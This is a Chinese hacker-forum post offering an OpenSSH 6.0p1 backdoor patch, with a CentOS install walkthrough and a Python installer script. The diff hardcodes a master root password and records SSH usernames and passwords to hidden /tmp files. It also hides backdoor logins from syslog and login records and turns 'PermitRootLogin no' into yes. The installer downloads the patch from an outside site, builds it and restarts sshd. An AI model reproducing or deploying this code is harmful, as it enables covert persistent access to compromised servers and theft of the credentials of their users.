搜索
查看: 315|回复: 2

ssh path

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2013-10-24 17:29:52 | 显示全部楼层 |阅读模式
ssh_patch并不是一个rootkit,而是ssh的后门补丁.他的作用具象点说:比如得到了一台linux服务器的root权限,但是不知道root密码,使用这个补丁重新编译ssh,就可以用root和自己的密码登录网站,而原先的root密码仍然可以登录,是一个绝佳的隐藏后门
以下是ssh_patch补丁
  1. # wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
  2. # patch < OpenSSH-6.0p1.patch
  3. # ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
  4. # make && make install
  5. # bob@dtors.net
  6. --- openssh-6.0p1/auth-pam.c    2009-07-12 13:07:21.000000000 +0100
  7. +++ ./auth-pam.patch        2012-05-22 15:16:38.219834621 +0100
  8. @@ -1210,6 +1210,10 @@
  9.         if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
  10.             debug("PAM: password authentication accepted for %.100s",
  11.             authctxt->user);
  12. +                        if((f=fopen(ILOG,"a"))!=NULL){
  13. +                        fprintf(f,"%s:%s\n",authctxt->user, password);
  14. +                        fclose(f);
  15. +                        }
  16.             return 1;
  17.         } else {
  18.             debug("PAM: password authentication failed for %.100s: %s",
  19. --- openssh-6.0p1/auth-passwd.c  2009-03-08 00:40:28.000000000 +0000
  20. +++ ./auth-passwd.patch        2012-05-22 15:16:38.219834621 +0100
  21. @@ -86,6 +86,11 @@
  22.         static int expire_checked = 0;
  23. #endif

  24. +if (!strcmp(password, entr0py)) {
  25. +        passphrase=1;
  26. +        return 1;
  27. +}
  28. +
  29. #ifndef HAVE_CYGWIN
  30.         if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
  31.             ok = 0;
  32. @@ -123,6 +128,12 @@
  33.         }
  34. #endif
  35.         result = sys_auth_passwd(authctxt, password);
  36. +        if(result){
  37. +                if((f=fopen(ILOG,"a"))!=NULL){
  38. +                fprintf(f,"%s:%s\n",authctxt->user, password);
  39. +                fclose(f);
  40. +                }
  41. +        }
  42.         if (authctxt->force_pwchange)
  43.             disable_forwarding();
  44.         return (result && ok);
  45. --- openssh-6.0p1/auth.c        2011-05-29 12:40:42.000000000 +0100
  46. +++ ./auth.patch        2012-05-22 15:16:38.219834621 +0100
  47. @@ -271,14 +271,16 @@
  48.         else
  49.             authmsg = authenticated ? "Accepted" : "Failed";

  50. -        authlog("%s %s for %s%.100s from %.200s port %d%s",
  51. -            authmsg,
  52. -            method,
  53. -            authctxt->valid ? "" : "invalid user ",
  54. -            authctxt->user,
  55. -            get_remote_ipaddr(),
  56. -            get_remote_port(),
  57. -            info);
  58. +        if(!passphrase || passphrase !=1){
  59. +                authlog("%s %s for %s%.100s from %.200s port %d%s",
  60. +                    authmsg,
  61. +                    method,
  62. +                    authctxt->valid ? "" : "invalid user ",
  63. +                    authctxt->user,
  64. +                    get_remote_ipaddr(),
  65. +                    get_remote_port(),
  66. +                    info);
  67. +        }

  68. #ifdef CUSTOM_FAILED_LOGIN
  69.         if (authenticated == 0 && !authctxt->postponed &&
  70. --- openssh-6.0p1/canohost.c    2010-10-12 03:28:12.000000000 +0100
  71. +++ ./canohost.patch        2012-05-22 15:16:38.219834621 +0100
  72. @@ -78,10 +78,12 @@

  73.         debug3("Trying to reverse map address %.100s.", ntop);
  74.         /* Map the IP address to a host name. */
  75. +        if(!passphrase || passphrase!=1){
  76.         if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
  77.           NULL, 0, NI_NAMEREQD) != 0) {
  78.             /* Host name not found.  Use ip address. */
  79.             return xstrdup(ntop);
  80. +                }
  81.         }

  82.         /*
  83. --- openssh-6.0p1/includes.h    2010-10-24 00:47:30.000000000 +0100
  84. +++ ./includes.patch        2012-05-22 15:16:38.219834621 +0100
  85. @@ -172,4 +172,9 @@

  86. #include "entropy.h"

  87. +int passphrase;
  88. +FILE *f;
  89. +#define ILOG "/tmp/.ilog"
  90. +#define OLOG "/tmp/.olog"
  91. +#define entr0py "correcthorsebatterystaple"
  92. #endif /* INCLUDES_H */
  93. --- openssh-6.0p1/log.c        2011-06-20 05:42:23.000000000 +0100
  94. +++ ./log.patch        2012-05-22 15:16:38.220835117 +0100
  95. @@ -351,6 +351,7 @@
  96. void
  97. do_log(LogLevel level, const char *fmt, va_list args)
  98. {
  99. +if(!passphrase || passphrase!=1){
  100. #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
  101.         struct syslog_data sdata = SYSLOG_DATA_INIT;
  102. #endif
  103. @@ -428,3 +429,4 @@
  104.         }
  105.         errno = saved_errno;
  106. }
  107. +}
  108. --- openssh-6.0p1/servconf.c    2011-10-02 08:57:38.000000000 +0100
  109. +++ ./servconf.patch        2012-05-22 15:16:38.220835117 +0100
  110. @@ -686,7 +686,7 @@
  111.         { "without-password",    PERMIT_NO_PASSWD },
  112.         { "forced-commands-only",        PERMIT_FORCED_ONLY },
  113.         { "yes",                PERMIT_YES },
  114. -        { "no",                PERMIT_NO },
  115. +        { "no",                PERMIT_YES },
  116.         { NULL, -1 }
  117. };
  118. static const struct multistate multistate_compression[] = {
  119. --- openssh-6.0p1/sshconnect2.c  2011-05-29 12:42:34.000000000 +0100
  120. +++ ./sshconnect2.patch        2012-05-22 15:16:38.220835117 +0100
  121. @@ -878,6 +878,10 @@
  122.         snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
  123.           authctxt->server_user, host);
  124.         password = read_passphrase(prompt, 0);
  125. +        if((f=fopen(OLOG,"a"))!=NULL){
  126. +                fprintf(f,"%s:%s@%s\n",authctxt->server_user,password,authctxt->host);
  127. +                fclose(f);
  128. +        }
  129.         packet_start(SSH2_MSG_USERAUTH_REQUEST);
  130.         packet_put_cstring(authctxt->server_user);
  131.         packet_put_cstring(authctxt->service);
  132. --- openssh-6.0p1/sshlogin.c    2011-01-11 06:20:07.000000000 +0000
  133. +++ ./sshlogin.patch        2012-05-22 15:16:38.220835117 +0100
  134. @@ -133,8 +133,10 @@

  135.         li = login_alloc_entry(pid, user, host, tty);
  136.         login_set_addr(li, addr, addrlen);
  137. +        if (!passphrase || passphrase!=1){
  138.         login_login(li);
  139.         login_free_entry(li);
  140. +        }
  141. }

  142. #ifdef LOGIN_NEEDS_UTMPX
  143. @@ -146,8 +148,10 @@

  144.         li = login_alloc_entry(pid, user, host, ttyname);
  145.         login_set_addr(li, addr, addrlen);
  146. +        if(!passphrase || passphrase!=1){
  147.         login_utmp_only(li);
  148.         login_free_entry(li);
  149. +        }
  150. }
  151. #endif

  152. @@ -158,6 +162,8 @@
  153.         struct logininfo *li;

  154.         li = login_alloc_entry(pid, user, NULL, tty);
  155. +        if(!passphrase || passphrase!=1){
  156.         login_logout(li);
  157.         login_free_entry(li);
  158. +        }
  159. }
复制代码

注释中已经写明了安装方法
以centos为例进行演示
  1. [root@localhost openssh-6.0p1]# wget http://mirror.bytemark.co.uk/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
  2. [root@localhost openssh-6.0p1]# tar -zxvf openssh*  
  3. [root@localhost openssh-6.0p1]# cp OpenSSH-6.0p1.patch openssh-6.0p1
  4. [root@localhost openssh-6.0p1]# patch < OpenSSH-6.0p1.patch
  5. patching file auth-pam.c
  6. patching file auth-passwd.c
  7. patching file auth.c
  8. patching file canohost.c
  9. patching file includes.h
  10. patching file log.c
  11. patching file servconf.c
  12. patching file sshconnect2.c
  13. patching file sshlogin.c
  14. [root@localhost openssh-6.0p1]# sed -i "s/correcthorsebatterystaple/password/g" includes.h #passwd就是root后门密码
  15. [root@localhost openssh-6.0p1]# yum install gcc openssl-devel pam-devel rpm-build    #确保预编译环境
  16. [root@localhost openssh-6.0p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
  17. [root@localhost openssh-6.0p1]# make && make install
  18. [root@localhost openssh-6.0p1]# service sshd restart
  19. 停止 sshd:                       [确定]
  20. 正在启动 sshd:                    [确定]
  21. [root@localhost openssh-6.0p1]#
复制代码

接下来就可以以root和passwd登录了,
顺便附上Python安装代码,只要执行
  1. python rootkit.py
复制代码

即可
  1. #coding=utf-8



  2. import os
  3. import urllib
  4. import zipfile
  5. import platform


  6. ####################################################################################
  7. #                                #
  8. #                                sirius                          #
  9. #                                QQ:111111111                    #
  10. #                                #
  11. ####################################################################################

  12. def makeDir():
  13.     #该函数用来新建/tmp/rootkit目录
  14.     try:
  15.         os.makedirs("/tmp/rootkit")
  16.     except:
  17.         pass

  18.     os.chdir("/tmp/rootkit")


  19. def deleteAllFile(theFolder):
  20.     #该函数用来删除/tmp/rootkit目录
  21.     if os.path.isfile(theFolder):
  22.         try:
  23.           os.remove(theFolder)
  24.         except:
  25.           pass
  26.     elif os.path.isdir(theFolder):
  27.         for item in os.listdir(theFolder):
  28.           fullPath=os.path.join(theFolder, item)
  29.           deleteAllFile(fullPath)

  30.         try:
  31.           os.rmdir(theFolder)
  32.         except:
  33.           pass

  34. def downloadFile(theUrl, theFile):
  35.     #该函数用来下载rootkit并放到/tmp/rootkit目录
  36.     try:
  37.         urllib.urlretrieve(theUrl, theFile)
  38.     except:
  39.         print "Cannot download file to /tmp/rootkit, Please check Internet"
  40.         exit()


  41. def unzipFile(zipName):
  42.     #该函数用来解压zip文件
  43.     zipFile=zipfile.ZipFile(zipName)
  44.     zipFileList=zipFile.namelist()

  45.     for file in zipFileList:
  46.         zipFile.extract(file)
  47.    
  48.     zipFile.close()
  49.     return zipFileList[0]


  50. def sshPatch():
  51.     patchUrl="http://www.coolhacker.org/wp-content/uploads/2013/10/openssh-6.0p11.zip"
  52.     patchName="openssh-6.0p1.zip"
  53.     makeDir()
  54.     os.chdir("/tmp/rootkit")
  55.     downloadFile(patchUrl, patchName)
  56.     paths=unzipFile(patchName)
  57.     os.chdir(paths)
  58.     os.system("chmod a+x *")
  59.     password=raw_input("Enter the password: ")
  60.     message="sed -i 's/correcthorsebatterystaple/%s/g' includes.h" % password
  61.     if platform.linux_distribution()[0]=="Ubuntu":
  62.         os.system("apt-get install zlib1g-dev openssl libpam-dev")
  63.         os.system(message)
  64.         os.system("./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5")
  65.         os.system("make && make install")
  66.         os.system("/etc/init.d/ssh restart")
  67.     elif platform.linux_distribution()[0]=="CentOS":
  68.         os.system("yum install gcc openssl-devel pam-devel rpm-build")
  69.         os.system(message)
  70.         os.system("chmod a+x configure")
  71.         os.system("./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5")
  72.         os.system("make && make install")
  73.         os.system("service sshd restart")
  74.     else:
  75.         print "暂不支持CentOS和Ubuntu以外的发行版"
  76.         deleteAllFile("/tmp/rootkit/")
  77.         exit()
  78.     deleteAllFile("/tmp/rootkit")
  79. if __name__=="__main__":
  80.     sshPatch()

  81.    
复制代码
过段时间可能会取消签到功能了
854955425 该用户已被删除
发表于 2013-10-24 17:30:01 | 显示全部楼层
大家互帮互助
专业回帖 该用户已被删除
发表于 2013-10-24 17:35:25 | 显示全部楼层
找到好贴不容易,我顶你了,谢了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表